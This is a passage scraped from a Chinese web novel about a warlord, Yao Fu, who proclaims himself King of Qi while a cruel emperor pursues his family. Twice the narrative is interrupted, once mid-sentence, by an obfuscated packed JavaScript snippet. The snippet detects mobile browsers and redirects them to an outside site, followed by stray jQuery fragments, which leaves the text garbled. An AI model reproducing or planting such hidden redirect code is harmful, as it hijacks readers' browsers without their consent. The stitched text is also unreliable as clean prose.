应瑕脸色一变,连忙把被子往下拉了一点,露出绷带来,血水已经浸出了好大一块。 “陈重熙!伤口崩了啊——”韩玉笙一下跳起来,大叫着跑向陈重熙的房间。 应瑕扶着额头,说:“咱们现在在他妹夫的医馆里。” 姚复点点头,现在伤口越发疼痛,他是躺也躺不下去了。 本来还以为是染了风湿什么的,原来只是受伤了。 23. 第23章 这医馆分东西两套房间,韩玉笙夫妻作为客人,住在西边的内室里,而主家理应住在东边。 韩玉笙那一嗓子喊下去,东边内室的门立即被推开了,露出一个年轻男子蓬头垢面睡眼惺忪的脸。那男子生了一头半长的卷发,不像是中原人,看着倒有些异邦风情。陈重熙随意理了理头发,小步跑到了姚复床前,一边斥责韩玉笙:“你能不能别咋咋呼呼的,本来不裂的伤口都给你吓裂了。” 陈重熙到底是专业的,拆开绷带看了两眼就下了结论,对着应瑕说:“没事,正常现象。绷带和止血药在一个抽屉里,夫人给他缠一缠好了。” 说着他还指指柜台。然后就打着哈欠去看方才被韩玉笙惊醒的那巴州幼儿的情况了。 应瑕在姚复肩膀上按了按,说:“你坐好别动,我去找绷带。” 接着她撤开手,绕到柜台底下翻找起来。 那柜台后面做的跟药柜子一样,密密麻麻全是抽屉,看的应瑕脑仁疼。他们开医馆里里外外挣了不少钱才是,怎的这么寒碜。 应瑕运气不错,只是随意拉开了两个抽屉,其中一个装的剪刀,另一个放的就是绷带。她把剪刀绷带一起拿了出来,走回姚复床边。 “今天下午能起营吗?”姚复一边张开胳膊,好叫应瑕缠绷带,一边微微偏着头问。 应瑕拿着药瓶子,苦恼地皱起眉头,随后拔开塞子,随便把药洒在了伤口上,才拿起一边的绷带开始缠绕。她全程沉默不语,一句话也不说。 最后一段布料被剪刀剪断,应瑕才说:“我又不是医师。” 姚复不想再耽搁时间了,可这伤口在路上难免崩裂感染,一不小心丢了命可就糟了。 陈重熙走到柜台后面,摸出纸笔,写了几张方子,递给那老妪嘱托她回到巴州照着方子给孩子抓药,又拿出来一些银钱塞给她。老妪推脱不过,感激涕零地抱着孩子出门去了。陈重熙才对着姚复说:“下午起营没问题,就是路上不要疾船快马奔波劳累,不然还得裂……” “不走的快些,明日可到不了长沙。”姚复蹙着眉回望,“不过你叫什么来着?” “呵呵呵……”陈重熙干笑起来,“陈重熙,字累冶。大人还是好好想想是命重要还是行军重要吧。” 姚复穿上应瑕递过来的外袍,转了个身,把腿放了下来,坐在床上,皱着眉问:“那伤口什么时候能好?” “呃……”陈重熙举起一只手,掰着手指头数起来,“你要是静养,也许三四天五六天那样子?但要是不注意,十天半个月都好不了也可能……” 姚复深吸一口气,又缓缓吐出,最后说:“十天半个月够屈郢打到我家了都。咱们马上回去,下午起营。” 说着他便要站起身来去拉应瑕:“走走走,咱们先结账。” 应瑕跟着他站起来,随口说:“结什么帐,咱们把他们带走不就行了。” 还伸出手指指了指陈重熙。陈重熙也迷惑抬头指指自己。 姚复手上慢慢卸了力气,眼神却是越来越亮。陈重熙看着姚复缓缓转过的脑袋和发亮的眼神,心里不住一阵发毛。果不其然,姚复大步走到柜台前,一把抓住了陈重熙的胳膊,问:“陈大夫、不,陈先生,你跟着我们军营走吧?” 陈重熙往后缩了缩脖子,摇了摇头。 姚复似乎也意识到自己方才失礼,方才把自己的手掌从对方的小臂上挪到手背,懊悔地说:“抱歉,我失礼了。我们营里恰好缺个军医,我开的分。俸禄一定比你坐诊赚得多。” “哈哈哈,姚大人说笑了。”陈重熙心情稍微平复,脸上又挂上了微笑,“我们修道之人不追逐名利,一向随心而行。” 姚复眉头拧起,手上轻轻拍了拍陈重熙:“你说这话可就不对了。我这人呢,从来不信这些神神道道的东西。可我也明白,你们这些修道者,不最崇尚什么天下大义吗。我们行军,不也是为了天下大义?” “小人才疏学浅,医术也不高明。”陈重熙按按往回抽手,但没挪动分毫。 柜台上放着一面水银镜,清澈透亮,从姚复的角度恰能看见应瑕的脸。后者给他使了个眼色,姚复再度笑起来:“陈先生实在谦逊。这汉昌城还能找到第二个比你医术高明的吗?” 陈重熙正欲继续推脱,却见应瑕往侧边走了两步,避开了镜子,冲着他比了个口型:“韩玉筝。” 一阵寒意瞬间从脊背渗进五脏六腑,又缓缓爬上天灵,陈重熙感到一阵无法抵御的寒冷,脸上的微笑僵硬了一瞬,随后他又眯起眼睛,笑说:“姚大人说的是。既然是追求大义,倒与心意相通了。既然如此,我马上和妻子去收拾行李,下午随着你们一起离开。” 紧接着陈重熙就甩开了姚复的手,跌跌撞撞进了内室。不多时里面就传来了啜泣声,有男人的,也有女人的。 陈重熙回到屋里就站不住了,一下跌坐在地上,只扶着桌子闷声哭泣。 韩玉筝一边抹着眼泪,一边轻轻拍着陈重熙的背。 “等尘埃落定,”陈重熙哭了一会儿,拿袖子抹抹脸,“我们就辞官,辞官回阖闾城去。” 轻飘飘一句“为了天下大义”,就要修道者抛弃本心,踩踏着上位者口中“不过是必要的牺牲”的尸骨,一步步走到鸟尽弓藏的地步。 “婚约。”韩玉筝蹲在地上,一开始落了泪之后便觉眼眶干涩,再也哭不出来,只吐出两个字。 陈重熙一捶桌子,脑袋也重重磕在桌沿上,不再说话了。 别人尚能脱身,可他们夫妻早与皇权牢牢捆绑在一起了,不能挣扎,无法逃脱,只能在无边的痛苦中徘徊。 韩玉筝站起来,开始收拾行军要用的东西。 一包银针,几味药材,足矣。 “他们怎么回事?”姚复不解地看着紧闭的房门,纳闷地问刚走到他身边的应瑕。 应瑕仍是一幅沉静的表情,幽黑的瞳仁似乎里藏着深不见底的海渊,她缓缓张开朱红的唇: “谁知道呢。” 姚复忽然感觉身边的人从未认识过,她脸上那一抹微笑熟悉又陌生,温柔又狠厉,掺杂着嗜血的美艳。 “你威胁他们了?”姚复皱着眉问,上下审视着应瑕。 应瑕噙着那一抹笑,眼底也染上三分笑意,却带着一股难言的寒意,她微微抬头,说:“也许吧。你要责怪我吗?” 姚复第一次拥抱应瑕,他把下巴搭在对方肩上,沙哑着嗓音说:“不,我不会责怪你。” 除非是无法接受的背叛。 应瑕脸上的笑意更为浓郁。 到了下午起营的时候,姚复又穿上了作战时穿的铁甲,微笑着看着列阵的军士们。只是左等右等也不见陈重熙过来,不由有些担忧地俯首掀开马车的帘子,问里头坐着的应瑕:“他们不会跑了吧?” “他们跑不了。”应瑕把一颗葡萄塞进嘴里,眼神都不曾分来一个,口中却淡然道。 姚复颔首,放下帘子,坐直了身子。 不多时,两道白衣出现在军营门口,这两人确实有一点司空谷那味,搞的仙风道骨的。姚复舔舔微微干裂的嘴唇,不作评价。 令人意想不到的是,来的不止陈重熙夫妻两个,韩玉笙夫妻和陈屿灵都跟着过来了。 姚复举起剑示意,齐刷刷的军队分开一条道路,姚复骑着马走到前面去,看了韩玉笙一眼,问:“你们怎么也来了?” 陈重熙眼周红肿,看样子哭了不少,韩玉筝眼尾也微微泛红,大约也哭过了。倒是韩玉笙面色无异,反而笑着说:“我来毛遂自荐。” 姚复挑眉,问道:“可是我在武陵时未曾听过你博学多才的名声。” “我是没有才名。但我不是自荐做谋士的。”韩玉笙继续笑着说,“我来自荐领兵。” 一说领兵,韩玉笙眼中甚至闪烁着兴奋的光彩。 一个政权的领主天天亲征也不是事,姚复早就在为此事发愁了,听到韩玉笙的话的确是高兴的。不过韩玉笙看着确是不甚强壮,也不知能不能上场打仗。 韩玉筝看了韩玉笙一眼,攥紧了手里的帕子。陈重熙拉了一下她的袖子,用只有两个人能听到的声音说:“按计划行事。” 韩玉笙笑说:“大人也以貌取人吗?兰陵王、韩子高貌若好女,不也能领兵入阵?” “那你也做个面具戴在脸上好了。”姚复笑着调侃,又从腰间拿下一块兵符,丢给韩玉笙,“这是汉昌一万二千将士的兵符。为韩将军牵马!”” 立刻有卫士为韩玉笙递上了成套的盔甲,又有人牵来一匹好马。韩玉笙没接盔甲,只接过马缰,对着姚复抱拳行礼:“承蒙姚大人恩情,韩某定不负所托。” 接着他便牵着马往营帐处走去。 姚复戴上兜鍪,扬起马鞭,喊道:“起营,往长沙去!” “得令!”将士们齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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预言横空出世时大梁正值繁华盛世,那一会儿大王庙可谓香火不绝。这些年民不聊生,庙宇便也荒废了下来。 “行,”姚复点点头,“有纸没?” 新涂从身上掏出一张皱皱巴巴的纸,信手撕成两半,又掏出一支带了干墨的笔来递给姚复:“我就剩这一张了,你写完了剩下的白纸记得撕下来给我。” 他给应琼的信才写了一半不过。 “那你等不到了。”姚复低着头回了一句,把那纸张撕成□□片的小纸条,拿着笔在上面写了几个“楚”“齐”“晋”一类的字眼。 新涂眼珠子都快瞪出来了。 姚复满意的把那□□张小纸条收起来,说:“明天去大王庙求个国号。你这是什么表情,没纸了就去外面买。” 然后他就掀开营帐去睡觉了。 好心撕给他半张纸就干这种事。新涂有些气愤地抱胸看着跃动的火光。 陈重熙和韩玉筝坐在不远处看星星,见姚复走了才坐过来。陈重熙往四周看了一圈,又见姚复进的那顶营帐熄了灯光,方才问新涂:“你打算打定州吗?” 新涂抬起眼皮,有些不解:“是啊,屈郢要打定州啊。我爹娘可是都在启封呢。” “秋日属金,又碰上白虎七宿登天,肃杀之气蔓延,适合领兵打仗。”陈重熙脸色凝重,“但是近日有荧惑守心之象。” 定州对应房宿和心宿,荧惑守心之象放在不同的阵营却有不同解释。新涂抬起头看向夜空,看见火红的荧惑,说:“荧惑守心……不是朝廷要遭灾?” “方才有彗星。”陈重熙继续说,“帚把朝东,说明屈郢得势。” 新涂脸色顿时凝重起来,他立时站了起来,看了一眼姚复的营帐,才低声说:“你上次可不是这么说的!” “上次屈郢打的齐州!”陈重熙也站起身,蹙着眉争辩,“星象要和人事结合起来看的。何况现在——” “我不说了。”陈重熙意识到自己的嗓音有些大了,急急止住话音,又坐了下来,“岁星将由翼轸入井参,屈郢现在还没有要打赣州的打算,你领兵去打赣州或巴州再好不过。” 新涂看着天上一闪一闪的星星,沉默不语。 “将在外,君命有所不受。”陈重熙也抬头看向那一片星海,“你自己把握。接下来他肯定回定州……他什么也不懂。” 24. 第 24 章 第二天一早,姚复竟卸掉了甲胄,只带了应瑕和新涂,骑着马去了那传闻中的大王庙。据说这庙宇从前是求财和求仕途的,十分灵验呢。现下起兵也算是求仕途了,只希望那位长沙王能指出一条明路来。 那大王庙虽说是在城池中央的繁庶地带,却是已经破败不堪了。街上的行人见着这庙宇都恨不能绕的远远的,大王庙的庙门已经朽坏地无处可寻了,庙里的景象大喇喇往外露着。至于庙上的牌匾,“大王庙”三个字的金漆褪掉了一半,三个大字如同锈蚀的铁骨,锈迹斑斑。 透过这幅荒芜景象,姚复好像能看到几十年前此地香火繁盛的景象,可他也没什么文化,不会赋诗明志,千言万语终究只在唇边汇成一句—— “真是物是人非呀。” 姚复咋舌,一边下了马,率先进了这一方庙宇。 大王庙外表看起来已经不怎么样了,里面景象更是惨不忍睹。墙角处有蜘蛛网,神像下有老鼠洞,长沙王的像上斑斓的漆和外面的牌匾一个下场。更要命的是,小小的一方屋子里横七竖八躺了十几个人,都是些乞丐,整个屋子里散发着难言的气味。 姚复站在门口,伸手拦住应瑕:“你别进来。” 应瑕爱干净,这场面定然会脏了她的眼。还有鼻子。应瑕被他一拦,身子猛然撞上姚复的背,正在神游的意识也被强行叫了回来。应瑕很听劝,也能才出来里头什么景象,干脆就站在原地不动了。 “新涂,银子带了多少?”姚复仍是背着身问。 新涂抱着装银子的小包裹,走上前去,拆开数了数:“有二十两吧。” 姚复侧着头看了看那包裹里的银子,确实白花花一片,他懒得去数具体数目,只撤开了撑着门框的手,侧身露出里头成群的乞丐——这些人见着姚复的衣着,能猜出来他身价不菲,大多人已经坐起来看着他们了,只等着向姚复要点值钱的东西。 “匀出来一点,让他们都出去。”姚复的目光定格在一个乞儿身上。 新涂从包裹里拿出来二两碎银,稍稍举高了一点,好让东南的阳光照射在银子上。乞丐们见着了银子,一个个眼中都闪着贪婪的光。姚复拉着应瑕往侧边躲了一下,新涂则往里进了一步,贴着墙根站好,猛然把银子抛出去。 那些乞丐顾不上身上的残疾病痛,都急急跑出去了。 姚复不提倡这种折辱人的方式,但又不能和这些人讲道理,搞不好他们一行人都得被这群乞丐扒个干净。 神像前的功德箱早就被拆毁了,香案上还残留着数年前的烛烬香灰,铺了厚厚一层,蒲团也是十分脏污,只好将外袍脱了垫上去。上头的香烛只剩了底座——香烛拿油脂做成,怕是被谁拿去吃了。好在姚复提前准备了几根香,他把香插上去点燃,自己施施然跪在外袍上。 应瑕也许还是嫌脏,并不跪,站的稍远一点,姚复并不苛求,心诚则灵罢了,跪不跪只是个形式。新涂从包裹里拿出一半银子放在原本功德箱的位置,剩下的仍护在胸前。 姚复把几张纸条一字展开铺在香火之下,虔诚地拜了两下便站起身来。 新涂见姚复起来,便也跟着起来了。 香火很快燃尽,香灰却多数落在边缘的“齐”字上。 姚复拿起那张纸条,抖了抖上头的灰烬,拧着眉说道:“真是奇了,方才也没风啊。” “大约是天意吧。”应瑕捂着鼻子开口,这屋里的灰可真不少。 姚复若有所思地点点头,看了一眼长沙王的塑像——当年的帝王可真是上了心,这像塑的惟妙惟肖,只是造型与姚复从前见过的观音像大差不差。长沙王半合着眼,旁观着长沙的兴亡变化,也不知当年的皇帝见过这塑像后有没有再拜过观音。 他迈步出了门,买了两个小童,教他们说了些什么,便带着人离开了。至于留在大王庙里的银子和外袍,就当是周济那些可怜人吧。 不过一旬时间,一首民谣传遍了鄂州—— “长沙好,长沙妙,大王佑我长沙昌;长沙饥,长沙荒,齐王改我长沙旷。” 这几句话朗朗上口,一时间传遍了鄂州。现在鄂州许多地方都与长沙一般,不是连年饥荒就是战火连天,大家都盼着有个齐王救众人于水火。 姚复见舆论酝酿地差不多了,马上放出了已经攻克汉昌、武陵、岳阳三城的消息,自称为齐王。 原本他就制住了整个鄂州的两个命脉,现在一放出称王的消息,在鄂州可谓是一呼百应,不到半个月便将整个鄂州收入囊中了。 “为什么突然想称王呢?”应瑕喝了一点酒,晃着酒壶,微笑着问。 姚复坐在案前,笑了笑:“陈重熙告诉我的。” 陈重熙会看天象,这在整个营里不是什么秘密,他算的又准,还会医术,甚至有人也信了他所说的修道云云,认为姚复找来个仙人。因此他说的话在军营里有很高的可信度,姚复能听他的话也不奇怪。 应瑕笑了一下,把酒壶放在桌上,脸上的笑忽然冷了下来,她说:“你朝屈郢投诚被拒了吧。所以才称王。” 姚复面色凝重起来。屈郢势力很大,他尚未在鄂州站稳脚跟,虽说已经有了舆论加持,难免会有其他人跳出来。这种情况下寻求屈郢的庇护才是最为稳妥的举动。 “屈郢势强,是个不错的靠山。”应瑕撑着下巴,又倒了一杯酒,“但他思想简单还疑心重,不是个好选择。以后同他结盟也许能捞到好处。” 姚复忽然抓住她的手腕,阻止了她往唇边递酒杯的动作:“别喝了。你今天喝了多少了,快一石了吧。” 应瑕有些惊诧地看向他:“我还没醉呢。” “只有醉鬼会说自己没醉。”姚复拉着她的手腕,就着她的手喝完了杯中琼液。 也只有近日安稳才能找到这样的好酒一醉方休了。 自他在鄂州称王,前来自荐的人不在少数,招买的兵马也有十几万了。现在能一醉方休,可明日还要驱策烽烟——北边的幽州和晋州相继有人称了王,什么燕王黄柳、魏王魏平,这些人的势力不很壮大,朝廷现在能掌握的有整个秦州、河西走廊、幽州南边、晋州西边和大半个定州。定州最东边的睢阳已经被屈郢攻陷了。 “明日发兵攻打定州吧。”姚复微笑着问应瑕。 应瑕却皱紧眉头,一句话也不说,只不住摇头。 姚家的整个宗族都在启封呢。而启封与睢阳接壤,一旦官兵有半点不慎,整个启封就要遭受灭顶之灾。 “不会有事,你别担心。”应瑕似乎是有些头疼,站起身来说道,姚复见她站的不稳,也连忙站起来扶着。 应瑕被半扶半拉地按到床上躺下,姚复正要去找陈重熙弄些醒酒药,应瑕却一把拉住了他的衣袖。姚复转头看去,应瑕一双眼明亮的吓人,一点不见醉酒的迹象,姚复正纳闷呢,后者突然开口说:“他们都知道,你别管。” 这话云里雾里的,姚复不禁自嘲:她分明就是醉了。正要挣开出去,应瑕却忽然扶着脑袋坐了起来,拉着姚复的袖子,执拗地说:“别去定州。” 醉鬼的力气竟比平时还大,姚复被拉的一屁股坐回床上,只哑然失笑。应瑕仍是说:“别去。” 接着她似乎是头痛难忍,额头磕在姚复肩上。姚复连忙扶着她躺下,她却又说:“你别去。” 这次话里还带了两分委屈和一分嗔怒。姚复心中叹了口气,知道自己拗不过她,只好安抚道:“好好好,我不去,你躺着休息吧。我去找些醒酒药。” “我也没醉。”应瑕这回皱着眉说。 “好好好,我去给你找些糖丸。”姚复一边扒着应瑕的手一边敷衍着。 她终于松了手。姚复出了门才松了口气。要是说不去定州自然不可能,可现在答应了应瑕,也只能瞒着她了。 姚复在鄂州称王一事闹的也太大,朝廷和屈郢那边都得了消息。年轻的皇帝拿到折子时脸上并不显愤怒,他看着奏表,一言不发,朝堂上倒是一片死寂。最终,皇帝露出一个微笑,那笑面底下似乎藏了狰狞的野兽。 如金石相击的声音在大殿上久久盘旋:“这样啊,那……拖下去斩了吧。” 上奏的老臣其实是想借着剿匪清君侧,现在一听皇帝的话,一双恭顺的吊梢眼立时瞪大了,不可思议地看着高位上的帝王,又立刻被侍卫拖了下去。另有别的臣子看不下去,不由皱了眉,上前一步:“陛下,剿匪此事,王尚书说的没错,仁君怎么……” “你也拖下去斩了。”皇帝抬手打断他的话,草草下了结论,“朕累了,下朝。” 那谏言的忠臣也被拖了下去,剩下的人再不敢多说一句,连忙作鸟兽散了。 等到人都走尽,皇帝仍坐在高高的龙椅上,半晌才问身边的太监:“四弟呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314516|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >亓官卿回来的太不是时候。当初他安排了刺客,以为把他弄死了,高枕无忧了好一段时间,可没成想,他排除了所有兄弟,得到了太子之位后——这个漏网之鱼又回来了。要不是得留着他立个仁君牌坊,彰显新帝的德行,他保准不会让亓官卿看到第二天的太阳…… 还有……还有后宫里的太妃涂山氏。 太监瞄了两眼皇帝的脸色,几乎要把头埋到胸口,只战战兢兢说:“陈王……去启封了。” 皇帝坐在龙椅上,撑着脑袋,另一只手的指节有一下没一下地“笃笃”敲着扶手,半天才说:“他对那养父母真是情真意切啊……连我这个亲兄弟都弃之不顾。” “我记得他姓姚吧……鄂州那个造反的齐王也姓姚,当初太妃递的拜官帖也姓姚……哪有这么巧的事呢,嗯?”皇帝闷闷笑起来,“哈哈哈,哈哈哈哈……” 太监握着拂尘,感到后背已经被冷汗浸湿了。他侍候了三个皇帝,早就处成了人精,陛下的言外之意不就是……亓官卿授意了齐王么。哪有这样的帝王呢,连兄弟都要猜忌,还是猜忌兄弟与叛贼有染。 “你说是不是!”皇帝忽然发怒了,他狠狠捶了一下扶手,“你怎么不说话!你说话啊!” 他似乎觉得坐着发怒不过瘾,又猛然站起身来,往前走了一步。 太监吓了一跳,连忙后退一步,扑通一下跪了下来,急声道:“陛下金口玉言,陛下说的是,陛下说的……” 很快他就发不出声音了,皇帝发疯一般抽了侍卫的短剑,割开了太监的喉咙。 淅淅沥沥的血点子洒在玄黑的龙袍上,很快消失不见,皇帝几近癫狂地笑起来。 “我们……马上去会会那姚家人。”皇帝捂着一只眼睛,好不容易止住了笑,最终说。 过了三日,皇帝便衣出行,车辇却铺张浪费,仍是浩浩荡荡进了启封城,车夫寻着知府给的地址找了一圈,得来了宅子易主的消息。 皇帝坐在马车里,忽然摔了茶盏,怒喝道:“找!今天必须找到!” 侍卫和车夫对这场面见怪不怪了,那宅子里的主事却没见过。他是个欺软怕硬的,见到这场面,立时说出了自己所知的事情:“公子息怒,三日前,有、有个貌美的公子也来过,也是找那姚家的……” “我问你那姚家人在哪!”暴怒的皇帝掀开车帘,手里拿着另一只杯子。 管事腿都软了,只好和盘托出:“那姚家祥和七年才被赶了回来,从前在乡下装佃农。他们前两年卖了宅子,说是要回乡下去……我只知叫做临河村……” 皇帝收回杯子,笑了笑,把脑袋缩回马车。他是生性残暴,但也不至于闹市杀人。 亓官卿给管事塞了银子,来来回回问了几次,才弄清楚姚老头带着三个儿子回了原本住的房子。光是找人花了不少时间,他到同一天上午才勉强回到姚老头家里。 彼时姚老头正坐在院子里晒太阳,到底是个老人了,身体也不如前些年硬朗,见着亓官卿走过来才微微抬了抬眼皮子,还没看清是谁。 亓官卿拎着衣服下摆,赶紧走上前去,蹲在姚老头身边,焦急地说:“姚公,快起来罢,皇兄他们马上就要到了……今日已经是丙午日了!您已经收拾好了吧?” 姚老头这两年老花眼越发严重,听清楚亓官卿的话才认出来是谁,连忙坐了起来,着急地喊:“啊呀!我忘了收拾了!老大老二!” 姚大哥和姚二哥应声出来,姚三哥去年去了赣州,眼下不在家。 “快去简单收拾收拾,咱们马上跑!这他怎么能寻过来呀!我都从城里搬回乡下了!”姚老头站起身子,急的团团转。 姚大哥和姚二哥马上通知了老婆孩子,随意收拾了一些东西,准备往鄂州去。 亓官卿抹了一把脸上的汗,用手挡着看了看太阳,才说:“就算皇兄找不到你们,屈郢也要打过来了。” 姚老头似乎被勾起什么不好的回忆,急的直跺脚。 不多时,姚大哥和姚二哥就扛着东西出来了,姚老头喜出望外,瞪着半瞎的眼喊:“走走,咱们马上雇一辆马车……” 马车的隆隆声响起,姚老头的话音戛然而止,亓官卿的脸色顿时变的惨白。 车子停在姚家门前,一只手掀开车帘,凉凉问道:“雇一辆马车,然后往哪去?” 亓官卿撩起衣摆,扑通跪在地上。 25. 第25章 年轻的皇帝从车驾上下了来,他脸上带着一丝玩味的微笑,忽而弯下腰来,猛然钳住亓官卿的下巴,迫使他抬起脸来与自己对视。 他用了很大力气,亓官卿整张脸被挤压地微微变形,腮侧的软肉被挤到唇边,疼的他几乎无法呼吸,好像一条濒死的鱼。皇帝逼着自己同父异母的兄弟抬起那张肖似母亲的脸,仔细端详了两眼,咬牙切齿地说:“我最讨厌你这张狐媚子一样的脸……你倒是重情义,把几个陌生人看的比亲兄弟还重。” 骨节分明的手指缓缓下移,扼住了亓官卿的脖子,却只是虚虚抚摸着皮肉,好似在细细感受皮肉之下血管的跃动,他们保持着一个姿势,没有人动弹,只是皇帝忽然抬起头来,死死盯着不远处老眼昏花的姚老头,他脸上浮现出一抹笑,接着俯首将嘴唇贴向亓官卿的耳畔:“你说……我该怎么杀了他们呢?是车裂还是凌迟?” 亓官卿微微颤抖着,一只手死死捂着胸口,试图抵御这彻骨的寒意。 “你应该知道吧……那个姚复在长沙起了兵,还自称齐王……”皇帝放开了亓官卿的脖子,站起身来,绕过跪在地上的兄弟,笑着把目光投向向屋前已经跪倒的一家子,“他和你们有什么关系呢?本来一个屈郢就足够我头疼了……谋逆可是诛九族的大罪呢。” 亓官卿猛然转过身去,抓住了皇帝华贵的衣袍。 皇帝有些惊讶地低头。亓官卿站起身来,撩着前襟后退一步,跪下身子,乞求道:“陛下,他们是无辜的,你哪怕看在先皇的面子上,也留他们一家一命罢。如果不能开恩,拿臣弟的命数相抵也是一样的……” “有意思,真有意思……”皇帝点点头,眼中盛着满满的不屑,脸上倒是一幅感动的样子,就好像……他在看脚下的蝼蚁绝望求生。 皇帝笑起来:“能让要风得风要雨得雨受尽尊宠的陈王殿下求人,朕真是不得不应了啊。既然如此,那就让他们多活几天吧。” 他脱下沾了灰尘的外袍,随意丢在地上,一只脚踏上马车,上车前侧过身子,对跪倒的一片人说道:“也许是明天,也许是两天,也许是三天,我的刽子手可就到了……珍惜剩下的这几个时辰罢。” 说着他便笑笑钻进了马车。 亓官卿缓缓爬起来,擦擦脸上方才硬挤出来的两滴眼泪,镇静地说:“姚公,时间不多了,你们即刻往南去吧。不要在启封久留,也莫要往东去,屈郢攻打定州的目的不过就是你们父子,别给齐王留下把柄。” 姚老头连连应着,忽而又问:“那你怎么办哇?!你哥那个疯杨,真是骇人的很!” “他暂时不会动我。”亓官卿信口道,“你们多保重吧,我只能帮你们到这儿了。” 姚老头连连点头,叫儿子雇马车去了,再回过头时,亓官卿已经不见了。 有一说一,亓官卿和皇帝的脸长的实在不像亲兄弟。亓官卿生了一双狐狸眼,天生的微笑唇,看谁都亲和,可以说是粉面桃花,摄人心魄;皇帝却生的柳叶眉丹凤眼,看着也算硬朗,却浑身透着一股子疯癫的气息,甚至盖过了那天子的威仪。 随行的太监骑着马,踌躇许久才低声在帘外问道:“陛下……不怕他们跑了吗?” 太监是新来的太监,帝王还不至于小肚鸡肠到要治一个新人的罪。他合上手里的书,竟还颇有耐心地回答:“雷霆雨露具是天恩……他们怎么敢跑!” 后半句尾音又带上了那一丝若即若离的癫狂,太监登时噤若寒蝉,不再敢过问了。 皇帝变成这样倒也不奇怪,他做皇子时先帝就偏心四皇子,对他不闻不问,还有意无意地那他给其他皇子垫脚,生母也是个疯癫的,偏在儿子最孤立无援的时候被扒出来给宠妃涂山氏下蛊—— 涂山氏将此事高高抬起轻轻放下,可那女人还是疯疯癫癫的,后来竟还传出了虐待皇子的消息。 在痛苦又压抑的环境下生长,谁又能不酿出精神的苦果,开出偏执的毒花。 刽子手是在姚老头逃走的第二日赶到的,皇帝得知自己要惩罚的罪人畏罪潜逃着实发了好大一通火,又马上宣了亓官卿进宫询问他们的去处,只得到了三个字—— 阖闾城。 这下皇帝只能自己生闷气了。 与此同时姚复正式点了兵,要马上进攻定州。 定州据守中原,沃野千里,又是九州腹地,拿下它百利而无一弊。就是不知道为什么都拼命的拦着他,好在兵符握在齐王手里,除了汉昌的几万人被韩玉笙带去打巴州了——韩玉笙根本不听令,也没禀报,带着人就出征去了。 总之姚复手里有足够的兵力,这些日子招到的人虽说没有百万,也有三四十万了。 “你真不能去定州。”应瑕第三次嘱咐姚复。 姚复召集将领正在召开会议,闻言也只是抬头一笑:“不去不去。” 接着又开始安排接下来出兵的事宜。 应瑕对他这个反应颇为不满,只皱紧了眉头,再次沉声问道:“你有没有听见我说的什么?你不能……” 姚复这次头也不抬了,只是敷衍着回答:“听到了,不去定州,不去不去。” 摆明了自己就是听个耳旁风,他根本没把应瑕的话放心上。这是本性使然,所有人心里都认为女人不懂打仗,却鲜有人明白一味的自大只会招来祸端。 应瑕一甩袖子离席而去。在那一屋子人眼里,她不过是齐王的附属品,能与会已经是丈夫所给予的最大殊荣—— 未必呢。应瑕想。 “通知陈子,准备战败后的事宜吧。”应瑕对身边的卫士嘱托道。 姚复好像说过等打完仗回来就拜陈重熙为司徒来着。现在手里只有鄂州一块地,方圆不过百里,寥寥几个官员已经足够管理了。而陈重熙算是一张底牌,绝不能留在鄂州。 应瑕感受着鄂州寒月盈满湿气的刮骨寒风,微微笑起来。 姚复掀开营帐出来,见应瑕站在营帐门口处吹风,不由加快了脚步走过去,按住她的双肩,有些关切地问:“你怎么不回帐里?外面多冷啊,偏在这儿吹什么风?” 应瑕似乎并不怕冷,今日出来也只是穿了件单衣,外加一件外袍,开会的营帐里有火盆子,她嫌热便又脱去了。方才出来时也忘了把外袍一块拿走。 “没事。”应瑕眨眨有些干涩的眼,“鄂州的天还是暖煞旁人了——塞北的风雪可才是真正的刮骨寒凉。” 从小到大,从平阳到塞北,从塞北到长安,从长安再到阳城,每一个地方都比鄂州寒冷的多。 姚复被噎了一下,随后新涂便举着外袍问了过来:“大王,嫂子的外袍——哟,怎么都在这儿啊?” 姚复从新涂手中接过外袍,又把袍子披在应瑕身上,再度低下头来,说道:“我打算派新涂去打赣州——你随着他去吧。” “我一介女流,干嘛跟着他行军打仗去?”应瑕牵着嘴角,哂笑一声。 “你脑子好使,多给新涂参谋参谋。”姚复双臂环着应瑕的肩,笑道,“这小子莽,你又不是不知道。陈重熙精于内政,最好是留在鄂州。” 应瑕伸手紧了紧外袍,也笑了起来:“行吧,我跟着他去赣州。倒是你,别是支开我干些别的事,等我回来最好看不见帐里多了个什么红颜知己。” 说着她便挣脱了姚复的胳膊,往自己的帐子去了,留着姚复自己在后面恼羞成怒地跳脚。姚复使劲拍着新涂肩背上的盔甲,一边气急败坏地喊:“胡诌!完全是胡诌!哪里有妻子上赶着编排自己丈夫的!她是不是怀疑我?!” 新涂一边使劲推着哐哐拍自己盔甲的姚复,一边无奈地说:“现在才怀疑你才奇怪吧?再者你敢说不是为了支开她干坏事吗!” 姚复一愣,新涂立刻挣开身子,一溜烟跑没影了。他说的倒也没错,这些日子他的美名走到哪花名就也跟着传到哪——也不知道谣言从哪起来的,一开始还只是在武陵和长沙猖獗,这几天有人报了信,整个鄂州都知道了齐王是个万花丛中过片叶不沾身的风流公子,估计要不了多久,全天下都知道了。 可姚复是真的守身如玉,没有什么小情人啊!不过确实有坏事要干——他打算偷偷点兵去打定州。现在应瑕和新涂都死活拦着他,得把这俩人支开才是。至于陈重熙,虽然他也不支持打定州,可毕竟人微言轻,掀不起什么大风浪。 